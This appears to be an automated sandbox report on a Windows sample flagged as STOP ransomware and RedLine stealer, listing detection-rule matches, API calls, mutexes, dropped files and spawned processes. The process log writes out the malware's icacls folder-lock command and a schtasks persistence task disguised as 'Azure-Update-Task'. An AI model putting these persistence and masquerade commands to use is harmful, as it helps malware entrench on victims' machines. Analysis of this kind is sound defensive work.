Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001C.00000002.3013504826.0000000000970000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.1692412044.00000000043FE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7344, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7520, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7848, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7372, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: AaIo4VGgvO.exe PID: 7380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@44/1360@9/5

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_044947C6 CreateToolhelp32Snapshot,Module32First,

0_2_044947C6

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_03

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Command line argument: F:\	1_2_00419F90

Source: AaIo4VGgvO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: AaIo4VGgvO.exe	String found in binary or memory: set-addPolicy
Source: AaIo4VGgvO.exe	String found in binary or memory: id-cmc-addExtensions
Source: AaIo4VGgvO.exe	String found in binary or memory: set-addPolicy
Source: AaIo4VGgvO.exe	String found in binary or memory: id-cmc-addExtensions
Source: AaIo4VGgvO.exe	String found in binary or memory: set-addPolicy
Source: AaIo4VGgvO.exe	String found in binary or memory: id-cmc-addExtensions
Source: AaIo4VGgvO.exe	String found in binary or memory: set-addPolicy
Source: AaIo4VGgvO.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

File read: C:\Users\user\Desktop\AaIo4VGgvO.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe"
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe"
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\Desktop\AaIo4VGgvO.exe "C:\Users\user\Desktop\AaIo4VGgvO.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe --Task
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe"
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Process created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe "C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe"
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Process created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
